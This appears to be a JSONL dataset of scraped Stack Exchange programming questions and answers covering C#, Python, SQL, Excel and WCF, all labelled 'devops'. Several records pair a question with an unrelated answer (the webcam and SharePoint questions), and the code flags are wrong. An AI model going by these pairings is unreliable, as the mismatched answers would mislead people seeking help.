{"id": "hf_93efe1d16aea", "question": "<p>What is the correct syntax for this:</p>\n\n<pre><code>IList&lt;string&gt; names = \"Tom,Scott,Bob\".Split(',').ToList&lt;string&gt;().Reverse();\n</code></pre>\n\n<p>What am I messing up?\nWhat does TSource mean?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nList<string> names = new List<string>(\"Tom,Scott,Bob\".Split(','));\nnames.Reverse();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:28.987884"}
{"id": "hf_a1f2ed33631e", "question": "<p>tldr:  Can someone show me how to properly format this Python iMAP example so it works?</p>\n\n<p>from \n<a href=\"https://docs.python.org/2.4/lib/imap4-example.html\" rel=\"nofollow noreferrer\">https://docs.python.org/2.4/lib/imap4-example.html</a></p>\n\n<blockquote>\n<pre><code>import getpass, imaplib\n\nM = imaplib.IMAP4()\nM.login(getpass.getuser(), getpass.getpass())\nM.select()\ntyp, data = M.search(None, 'ALL')\nfor num in data[0].split():\n    typ, data = M.fetch(num, '(RFC822)')\n    print 'Message %s\\n%s\\n' % (num, data[0][1])\nM.close()\nM.logout()\n</code></pre>\n</blockquote>\n\n<p>Assuming my email is \"email@gmail.com\" and the password is \"password,\" how should this look?  I tried <code>M.login(getpass.getuser(email@gmail.com), getpass.getpass(password))</code>\nand it timed out.  Complete newb here, so it's very likely I missed something obvious (like creating an iMAP object first?  Not sure).</p>\n", "question_body": "", "answer": "Did you forget to specify the IMAP host and port? Use something to the effect of:\n```\n```\nM = imaplib.IMAP4_SSL( 'imap.gmail.com' )\n```\n```\nor,\n```\n```\nM = imaplib.IMAP4_SSL()\nM.open( 'imap.gmail.com' )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.008150"}
{"id": "hf_82a50beec271", "question": "<p>When coding, what is a good rule of thumb to keep in mind with respect to performance? There are endless ways to optimize for a specific platform and compiler, but I'm looking for answers that apply equally well (or almost) across compilers and platforms.</p>\n", "question_body": "", "answer": "The number #1 performance tip is to profile your code early and often.  There are a lot of general \"don't do this\" tips but it's really hard to guarantee this will impact the performance of your application.  Why?  Every application is different.  It's easy to say that passing a vector by value is bad if you have a lot of elements but does your program even use a vector (you probably should but ...)?\nProfiling is the only way to understand the performance of your application.  I've been in way too many situations where people \"optimized\" the code but didn't ever profile.  The \"optimizations\" turned out to introduce many bugs and not even be a hot spot in the code path.  Waste of everyones time.\nEDIT:\nA couple of people have commented on the \"early\" part of my answer.  I don't think you should be profiling from day 1.  However you should also not be waiting till 1 month from ship either.\nI usually first profile once I have a couple of definitive end to end scenarios, or in a larger project, a mostly functional component.  I take a day or two (usually working with QA) to get together some large scenarios and throw it at the code.  This is a great spot check to find obvious performance problems early.  Fixing them at this point is a bit easier.\nOn a typical project I find that I have code meeting this criterias 30%-40% of the way through the project (100% being in customers hands).  I loosely classify this time as early.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.039211"}
{"id": "hf_45a937e2ebf9", "question": "<p>I am having some difficulty writing a function that will search through a directory for a file that matches a specific regular expression (which I have compiled using 're.compile'). So my question is: How do I search through a directory (I plan to use os.walk) for a file that matches a specific regular expression? An example would be very much appreciated. Thanks in advance. </p>\n", "question_body": "", "answer": "Read about the\nRE\npattern's\n```\nmatch\n```\nmethod.\nRead all answers to\nHow do I copy files with specific file extension to a folder in my python (version 2.5) script\n?\nPick one that uses\n```\nfnmatch\n```\n.  Replace\n```\nfnmatch\n```\nwith\n```\nre.match\n```\n.  This requires careful thought.  It's not a cut-and-paste.\nThen, ask specific questions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.059136"}
{"id": "hf_d2a794291383", "question": "<p>I am using windows authentication within an ASP.NET application. I am wondering how to best get the objectGuid from the currently logged in user?</p>\n\n<p>Regards, Egil.</p>\n", "question_body": "", "answer": "You can do this with the System.DirectoryServices namespace.\n```\n```\nDim entry As DirectoryServices.DirectoryEntry\nDim mySearcher As System.DirectoryServices.DirectorySearcher\nDim result As System.DirectoryServices.SearchResult\nDim myEntry As DirectoryEntry\nDim domainName As String\nDim userId As String\nDim objectGuid As Guid\n\n'Split the username into domain and userid parts\ndomainName = Page.User.Identity.Name.Substring(0, Page.User.Identity.Name.IndexOf(\"\\\"))\nuserId = Page.User.Identity.Name.Substring(Page.User.Identity.Name.IndexOf(\"\\\") + 1)\n\n'Start at the top level domain\nentry = New DirectoryEntry(domainName)\n\nmySearcher = New DirectorySearcher(entry)\n\n'Build a filter for just the user\nmySearcher.Filter = (\"(&(anr=\" & userId & \")(objectClass=user))\")\n\n'Get the search result ...\nresult = mySearcher.FindOne\n\n'... and then get the AD entry that goes with it\nmyEntry = result.GetDirectoryEntry\n\n'The Guid property is the objectGuid\nobjectGuid = myEntry.Guid\n```\n```\nThere might be a better way to do this, but this works!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.098307"}
{"id": "hf_772988586500", "question": "<p>I am trying to write Reversi game in Python. Can anyone give me some basic ideas and strategy which are simple, good and easy to use?</p>\n\n<p>I would appreciate for any help because I've gone to a little far but is stucked between codes and it became more complex too. I think I overdid in some part that should be fairly simple. So....  </p>\n", "question_body": "", "answer": "Reversi is an elegantly simple game. I'm going to use a psuedo C#/Java langauge to explain some concepts, but you can transpose them to Python.\nTo break it down into its most simple compnents, you have two basic things:\nA 2 dimensional array that represents the game board:\n```\n```\ngameBoard[10,10]\n```\n```\nAnd some form of enumaration that stores the state of each tile in the gameboard:\n```\n```\nenum tile\n{\n    none,\n    white,\n    black\n}\n```\n```\nTo render the board, you loop through the gameBoard array, increasing by an offset of the piece size:\n```\n```\nfor (int i = 0; i < 10; i++)\n{\n    for (int j = 0; j < 10; j++)\n    {\n        // The Piece to draw would be at gameBoard[i,j];\n        // Pixel locations are calculated by multiplying the array location by an offset.\n        DrawPiece(gameBoard[i,j],i * Width of Tile, j * width of tile);\n    }\n}\n```\n```\nLikewise, resolving a mouse click back to a location in the array would be similar, use the mouse location and offset to calculate the actual tile you are on.\nEach time a tile is placed, you scan the entire array, and apply a simple rules based engine on what the new colors should be. (This is the real challenge, and I'll leave it up to you.)\nThe AI can take advantage of doing this array scan with hypothetical moves, have it scan 10 or so possible moves, then choose the one that produces the best outcome. Try to not make it to smart, as its easy to make an unbeatable AI when you let it play out the entire game in its head.\nWhen there are no longer any free locations in the array, You end the game.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.142625"}
{"id": "hf_7ef62da9270f", "question": "<p>I will have around 200,000 images as part of my website. Each image will be stored 3 times: full size, thumbnail, larger thumbnail. Full size images are around 50Kb to 500Kb.</p>\n\n<p>Normal tech: Linux, Apache, MySQL, PHP on a VPS.</p>\n\n<p>What is the optimum way to store these for fast retrieval and display via a browser??</p>\n\n<p>Should I store everything in a single folder?\nShould I store the full size images in 1 folder, the thumbails in another etc?\nShould I store the images in folders of 1000, and keep an index to which folder the image is in?</p>\n\n<p>Thanks for any advice.\nAlbert.</p>\n", "question_body": "", "answer": "Depends on how you're indexing them, for how to retrieve them.\nThere's nothing particularly against storing them all in a single folder, but it becomes difficult to manage.  If you're storing them by filename, and the filenames are reasonably normally distributed, you might want to have subfolders separated by first letter of the name, etc.  If you're indexing by date added, you may want to segregate them by that.\nAs far as I know, there's no \"faster\" or \"slower\" way to store the images for browser retrieval.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.214231"}
{"id": "hf_9e43a29f5a9e", "question": "<p>is there an easy way to solve the following problem.</p>\n\n<p>Let's say I fetch a IList with some books in my controller from my model. Now I want to enrich the output and fetch a preview from Amazon with another model from an outside framework and get another IList.</p>\n\n<p>Now I put both ILists into a property bag.</p>\n\n<p>In NVelocity I use a #foreach for the BookList, but how can I access the amazonbooklist with the right preview? \nI cannot use $amazonbook[index], where index would be the isbn.\nDo I really need to put both lists in one big list with a simple onject containing only the two other objects?</p>\n\n<p>Remember, both models are from different frameworks and cannot be placed in one framework. Both frameworks have to stay seperated. I try to solve the NVelocity problem and ofcourse, this problem is just an example, we don't sell books ;)</p>\n", "question_body": "", "answer": "There may be a simpler solution, but I would create a third class like such\n```\n```\nclass BookList{\n       MyBookObject     a;\n       AmazonBookObject b;\n}\n```\n```\na list of this third class could be passed to your view at once.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.247741"}
{"id": "hf_2cc0417274f6", "question": "<p>I am currently using SQL Server Management Studio (Ver 9.00.3042.00) and click the \"New Query\" and wrote the following code:</p>\n\n<pre><code>Select \n    colA,\n    colB,\n    colC\n    colD\nFrom\n    table1\n</code></pre>\n\n<p>When I click the parse (checkbox) button to validate the SQL statement, it says \"Command(s) completed successfully\".  Isn't the parse button suppose to catch these simple errors...</p>\n\n<p>Has anyone experienced this type of behavior from Management Studio?  This just started happening this week....</p>\n", "question_body": "", "answer": "That's because that is valid SQL. You're effectively aliasing colC with the name colD. It's the same as typing:\n```\n```\ncolC as colD\n```\n```\nEdit: For what it's worth, this is one of the reasons why people will argue that you should put the commas at the beginning of the line in cases like this. It's a lot easier to spot gotchas like this when the code is formatted as such:\n```\n```\nSelect \n    colA\n    , colB\n    , colC\n    colD\nFrom\n    table1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.293833"}
{"id": "hf_133c0bc6ebff", "question": "<p>Do you have any tricks for generating SQL statements, mainly INSERTs, in Excel for various data import scenarios?</p>\n\n<p>I'm really getting tired of writing formulas with like </p>\n\n<p><code>=\"INSERT INTO Table (ID, Name) VALUES (\" &amp; C2 &amp; \", '\" &amp; D2 &amp; \"')\"</code></p>\n", "question_body": "", "answer": "The semi-colon needs to be inside the last double quote with a closing paren.  When adding single quotes around a string, remember to add them outside your selected cell.\n(spaces added for visibility - remove before inserting)\n```\n=CONCATENATE(\"insert into table (id, name) values (\",C2,\",' \",D2,\" ');\")\n```\nHere is another view:\n```\n=CONCATENATE(\"insert into table (id, date, price) values (\",C3,\",'\",D3,\"',\",B3,\");\")\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.328520"}
{"id": "hf_e4d7faddb74c", "question": "<p>I want to be able to take still images with a web cam, via .NET 2.0 (or 3.5 if necessary). I know I can use DirectShow but that seems like a very large learning curve.</p>\n\n<p>Is there a simple to use OCX, or library that can work with most standard webcams?</p>\n", "question_body": "", "answer": "The main hurdle to easily transforming your algorithm is that it doesn't result in a sequence of calls to the same function; but alternates between a few ones, each operating on the result of the other.\ni'd say you have three alternatives:\ntotally reformulate the algorithm (that's what the Fibonacci examples do).\ncombine all functions into a single one with lots of cond's (ugly, and maybe won't result in a real tail-recursion, even with a single function).\nturn the flow inside-out: write a single, simple tail-recursive function that transforms the input data into the sequence of operations that have to be performed, and then eval it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.362260"}
{"id": "hf_f8dc82491f71", "question": "<p>Here is the code currently used.</p>\n\n<pre><code>public String getStringFromDoc(org.w3c.dom.Document doc)    {\n        try\n        {\n           DOMSource domSource = new DOMSource(doc);\n           StringWriter writer = new StringWriter();\n           StreamResult result = new StreamResult(writer);\n           TransformerFactory tf = TransformerFactory.newInstance();\n           Transformer transformer = tf.newTransformer();\n           transformer.transform(domSource, result);\n           writer.flush();\n           return writer.toString();\n        }\n        catch(TransformerException ex)\n        {\n           ex.printStackTrace();\n           return null;\n        }\n    }\n</code></pre>\n", "question_body": "", "answer": "The transformer API is the only XML-standard way to transform from a DOM object to a serialized form (String in this case). As standard I mean SUN\nJava XML API for XML Processing\n.\nOther alternatives such as Xerces\nXMLSerializer\nor JDOM\nXMLOutputter\nare more direct methods (less code) but they are framework-specific.\nIn my opinion the way you have used is the most elegant and most portable of all. By using a standard XML Java API you can plug the XML-Parser or XML-Transformer of your choice without changing the code(the same as JDBC drivers). Is there anything more elegant than that?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.384872"}
{"id": "hf_8c765b5c0757", "question": "<p>Which is better in general in terms of the ordering?  Do you put the fault condition at the top or bottom?</p>\n\n<pre><code>if (noProblems == true) {\n    // do stuff\n} else {\n    // deal with problem\n}\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>if (noProblems == false) {\n    // deal with problem\n} else {\n    // do stuff\n}\n</code></pre>\n", "question_body": "", "answer": "i like to eliminate error cases first - and return from the function early so that the 'happy path' remains un-nested, e.g.\n```\n```\nif (some error condition)\n{\n    //handle it\n    return;\n}\n//implicit else for happy path\n...\n```\n```\nif it is easy to identify the conditions leading to the happy path, then by all means put that clause first (thanks Marcin!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.421160"}
{"id": "hf_1898b3fee43d", "question": "<p>I am trying to use <a href=\"http://msdn.microsoft.com/en-us/library/bb762153(VS.85).aspx\" rel=\"nofollow noreferrer\">ShellExecute</a> to open a file in Excel. I was reading about the function on MSDN forums, and I found the folowing information about the handle, which is the first parameter: </p>\n\n<p>\"hwnd [in] A handle to the owner window used for displaying a user interface (UI) or error messages. This value can be NULL if the operation is not associated with a window.\"</p>\n\n<p>I have also heard this referred to as the handle to the parent window. What is the parent/owner window? As you see below I am using NULL for the handle, but since the operation is indeed associated with a window, I probably need a handle, but I don't know what to use for the handle.</p>\n\n<pre><code>ShellExecute(NULL, \"open\" ,\"Excel.exe\", \n    \"C:\\\\Documents and Settings\\\\Lab1\\\\My Documents\\\\Test.xls\", \n    NULL, SW_SHOWNORMAL);\n</code></pre>\n", "question_body": "", "answer": "It is\nusually 0\nhwnd : parent window that will receive a possible messagebox. This parameter is usually 0.\nIt refers to the top-level window: the window you are opening does not have any parent, and is the main window for the application being executed.\nWhen you are switching between applications (ALT-TAB), you are displaying the next top-level window (the next app with a parent handle equals to 0) in the z-order (for instance).\nOf course, the parent to your app\ncan not be the Desktop Window itself\n:\nIf you create a child window whose parent is GetDesktopWindow(), your window is now glued to the desktop window. If your window then calls something like MessageBox(), well that's a modal dialog, and then the rules above kick in and the desktop gets disabled and the machine is toast.\nFor the path, I would advice double quotes surrounding simple quotes:\n```\n\"  ' ... ' \"\n```\n```\n```\n\"'C:\\\\Documents and Settings\\\\Lab1\\\\My Documents\\\\Test.xls'\"\n```\n```\nCould work also (untested) with double double quotes :\n```\n\"  \"\" ... \"\" \"\n```\n```\n```\n\"\"\"C:\\\\Documents and Settings\\\\Lab1\\\\My Documents\\\\Test.xls\"\"\"\n```\n```\n, as illustrated by\nthis thread\n.\nActually, as mentioned in\nyour other question\nby\nAndy\nand by\nMesidin\n, and in\nShellExecute Function manual\n, you can open the file, and pass its path in parameter.\n```\n```\nShellExecute( NULL, \"open\", \n              \"Test.xls\", \"C:\\\\Documents and Settings\\\\Lab1\\\\My Documents\\\\\", \n              NULL, SW_SHOWNORMAL);\n```\n```\nThat means Excel is the default application for opening .xls extension files though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.446408"}
{"id": "hf_c94cc3928507", "question": "<p>Is it possible to override the background color of the minimize and maximized buttons in WinForms?</p>\n", "question_body": "", "answer": "Not without writting your own NC_PAINT which is very bad practice by itself.\nYou never know when the user will use a new visual style never heard before. Your application will display the old ugly buttons over the existing style and everything will clash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.516515"}
{"id": "hf_afffe065ac75", "question": "<p>Is there a Wiki plugin for TFS 2005, ie. SharePoint Services 2.0?</p>\n", "question_body": "", "answer": "Not without writting your own NC_PAINT which is very bad practice by itself.\nYou never know when the user will use a new visual style never heard before. Your application will display the old ugly buttons over the existing style and everything will clash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.545083"}
{"id": "hf_e9fff071a786", "question": "<p>I want to load 52 images (deck of cards) in gif format from my recourse folder into an Image[] in c#. Any ideas?</p>\n\n<p>Thanks,\nJon</p>\n", "question_body": "", "answer": "You can read a Bitmap from a file like this;\n```\n```\npublic static Bitmap GetBitmap( string filename )\n  {\n     Bitmap retBitmap = null;\n     string path = String.Concat( BitmapDir, filename );\n     if ( File.Exists( path ) )\n     {\n        try\n        {\n           retBitmap = new Bitmap( path, true );\n        }\n        catch { }\n     }\n     return retBitmap;\n  }\n```\n```\nYou can get a list of files in a resource directory like this;\n```\n```\nstring[] files = Directory.GetFiles( BitmapDir, \"*.gif\" );\n```\n```\nJust iterate through files calling GetBitmap( file ) and populate your array. BitmapDir is obviously the directory where your GIF files live.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.579792"}
{"id": "hf_4eb672df5bf5", "question": "<p>How do I extract a tar (or tar.gz, or tar.bz2) file in Java?</p>\n", "question_body": "", "answer": "What about using this\nAPI\nfor tar files, this\nother one\nincluded inside Ant for BZIP2 and the\nstandard one\nfor GZIP?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.643763"}
{"id": "hf_c0ad30675999", "question": "<p>I have a table with N rows, and I wanna select N-1 rows. </p>\n\n<p>Suggestions on how to do this in one query, if it's possible..?</p>\n", "question_body": "", "answer": "Does the last row have the highest ID? If so, I think this would work:\n```\n```\nSELECT * FROM TABLE WHERE ID != (SELECT MAX(ID) FROM TABLE)\n```\n```\nMySQL does allow subselects in the current version, right?\nHowever, in most cases, it'd probably perform better if you selected all the rows and then filtered the unwanted data out in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.666312"}
{"id": "hf_f3f3e2bcdf92", "question": "<p>What are release notes for and who reads them? Should/could they be automated by just spitting out bug fixes for the current release, or do they warrant careful human editing? \nSo, anybody with a link to best practices(reasoning behind) in regards to software release notes?</p>\n", "question_body": "", "answer": "This really depends on who your application is built for and your organizations goals.  However, I tend to believe that release notes need to be a concise listing of important key additions, enhancements, or fixes that are included in the particular release.\nSometimes a simple dump of the bug tracking system information is enough, other times, I find that they need to be refined.\nThe key is that typically Release Notes are believed to be the \"Hey look at what we did\" type listing of changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.688071"}
{"id": "hf_3dcd4079a07a", "question": "<p>Does anyone know if there's a way to automatically expand a list in Python, separated by commas?  I'm writing some Python code that uses the MySQLdb library, and I'm trying to dynamically update a list of rows in a MySQL database with certain key values.</p>\n\n<p>For instance, in the code below, I'd like to have the numeric values in the record_ids list expand into a SQL \"<code>IN</code>\" clause.</p>\n\n<pre><code>import MySQLdb\nrecord_ids = [ 23, 43, 71, 102, 121, 241 ]\n\nmysql = MySQLdb.connect(user=\"username\", passwd=\"secret\", db=\"apps\")\nmysql_cursor = mysql.cursor()\n\nsqlStmt=\"UPDATE apps.sometable SET lastmod=SYSDATE() where rec_id in ( %s )\"\n\nmysql_cursor.execute( sqlStmt, record_ids )\nmysql.commit()\n</code></pre>\n\n<p>Any help would be appreciated!</p>\n", "question_body": "", "answer": "try:\n```\n```\n\",\".join( map(str, record_ids) )\n```\n```\n```\n\",\".join( list_of_strings )\n```\njoins a list of string by separating them with commas\nif you have a list of numbers,\n```\nmap( str, list )\n```\nwill convert it to a list of strings", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.722485"}
{"id": "hf_57c913f21db1", "question": "<p>I have a web application that uses Ext-JS 2.2. In a certain component, we have an empty toolbar that we are trying to add a button to using </p>\n\n<pre><code>myPanel.getTopToolbar().insertButton(0, [...array of buttons...]);\n</code></pre>\n\n<p>However, in IE6/7 this fails because of lines 20241-20242 in ext-all-debug.js:</p>\n\n<pre><code>var td = document.createElement(\"td\");\nthis.tr.insertBefore(td, this.tr.childNodes[index]);\n</code></pre>\n\n<p>Since \"this.tr.childNodes([0])\" does not yet exist in IE, this fails with \"Invalid argument\".</p>\n\n<p>THE REAL QUESTION:\nCan I, using CSS similar to the below add a child to every toolbar &lt;tr&gt; so that this.tr.childNodes[0] is found:</p>\n\n<pre><code>div.x-toolbar tr:after { content: \" \"; }\n</code></pre>\n\n<p>I totally realize this is a hack, but for legal reasons I cannot change any Javascript, not even to add an empty button ({}) to each toolbar. Major kudos to anyone that can figure this out.</p>\n", "question_body": "", "answer": "If all you are doing is adding to a empty panel\n```\n```\nmyPanel.getTopToolbar().add(buttons etc);\n```\n```\nOr\n```\n```\nmyPanel.getTopToolbar().addButton(..);\n```\n```\nEither should work.  It looks like purpose of insertButton is for putting a button within a non-empty toolbar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.745595"}
{"id": "hf_c50681335629", "question": "<p>How does one preserve the settings in the Open Dialog box?  For example, I would the Open Dialog to remember that I chose the Details view and sorted by date modified.</p>\n", "question_body": "", "answer": "Microsoft didn't see fit to give us any documented way of doing this, but some people have figured out bits of the puzzle.  This link shows how to set the view, but not how to get the current setting:\nhttp://msdn.microsoft.com/en-us/magazine/cc164009.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.769029"}
{"id": "hf_0732c43f2dce", "question": "<p>When reading from a <a href=\"http://search.cpan.org/dist/IO\" rel=\"nofollow noreferrer\">IO::Socket::INET</a> filehandle it can not be assumed that there will always be data available on the stream. What techniques are available to either peek at the stream to check if data is available or when doing the read take no data without a valid line termination and immediately pass through the read?</p>\n", "question_body": "", "answer": "Set the\n```\nBlocking\n```\noption to\n```\n0\n```\nwhen creating the socket:\n```\n```\n$sock = IO::Socket::INET->new(Blocking => 0, ...);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.806946"}
{"id": "hf_33ee447249bb", "question": "<p>Is there any good way to convert strings like \"xlSum\", \"xlAverage\", and \"xlCount\" into the value they have under Microsoft.Office.Interop.Excel.XlConsolidationFunction?</p>\n\n<p>I guess reflection would be slow (if its possible). There are about 10 of these constant values. I was trying to avoid a large switch statement if possible.</p>\n", "question_body": "", "answer": "Instead of switch you can always use a\n```\nDictionary<string, ...>\n```\nand fill it once when the application starts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.845220"}
{"id": "hf_10fc2692d530", "question": "<p>I have an after_save filter which I dont want to trigger in a specific instance.  Is there a way to do this similar to save_without_validation?</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "There is a good example of extending ActiveRecord to provide callback skipping here:\nhttp://weareintegrum.com/?p=10\nThe idea is to create a method on ActiveRecord called skip_callback that accepts a block:\n```\n```\ndef self.skip_callback(callback, &block)\n  method = instance_method(callback)\n  remove_method(callback) if respond_to?(callback)\n  define_method(callback){ true }\n  begin\n    result = yield\n  ensure\n    remove_method(callback)\n    define_method(callback, method)\n  end\n  result\nend\n```\n```\nThen anything you do within the block does not execute the callback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.921334"}
{"id": "hf_971c219cd29b", "question": "<p>I am facing a problem.\nI would like to localize my action names in my project so french people can have clean urls with french names.</p>\n\n<p><a href=\"http://www.test.com/Home\" rel=\"nofollow noreferrer\">http://www.test.com/Home</a> should be <a href=\"http://www.test.com/Accueil\" rel=\"nofollow noreferrer\">http://www.test.com/Accueil</a></p>\n\n<p>It is a good thing too for google indexing.\nMoreover I would like to be Restful on the application, so I would like too keep english name because developers (even frenchies) prefer to work on english names.</p>\n\n<p>I don't know if it's possible and how.</p>\n\n<p>My first idea should be something like get the browser language, assign it to the CurrentThread.CurrentCulture, so I can select the view name I want.</p>\n\n<p>Thank you very much for your answers.</p>\n", "question_body": "", "answer": "you can do this when you register the routes in global.asax.\nif normally you have this:\n```\n```\nroutes.MapRoute(\"Catalog-Brands\", \"catalog/brand/\", new {controller = \"Brand\", action = \"Index\", isActive = true});\n```\n```\nyou could make this one too (I don't know french, sorry)\n```\n```\nroutes.MapRoute(\"Catalog-Brands-French\", \"french-catalog/french-brand/\", new {controller = \"Brand\", action = \"Index\", isActive = true});\n```\n```\nyou could either make them all available globally or have separate:\n```\n```\npublic static void RegisterUsRoutes\n\npublic static void RegisterFrenchRoutes\n```\n```\nyou'd have to make the decision at application startup though (you may or may not be able to register routes at runtime.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:29.944732"}
{"id": "hf_8f31db1c3114", "question": "<p>I have a WCF Service that should not enter the faulted state. If there's an exception, it should be logged and the service should continue uninterrupted. The service has a one-way operation contract and is reading messages from an MSMQ.</p>\n\n<p>My problems are twofold:</p>\n\n<ol>\n<li>The service appears to be swallowing\nan exception/fault so I am unable to\ndebug it. How do I get the service\nto expose the exception so that I\ncan log or handle it?</li>\n<li>The service is\nentering into a faulted state after\nthis exception is swallowed. How do\nI prevent the service from entering\ninto a faulted state?</li>\n</ol>\n", "question_body": "", "answer": "Exceptions will fault the proxy. You can't AFAIK do much about that: don't cause exceptions ;-p\nI'm a little surprised that one-way is still causing a problem, but for swallowing\nin genera\nl, there are 3 aspects:\nare you throwing\nfaults\n? or exceptions? it matters (and should be \"faults\")\nas a hack, you can enable debug exception messages - but turn it off please!!!\nare you \"using\" the service object? I've just\nblogged\non this exact subject... basically, your \"using\" can swallow the exception.\n3 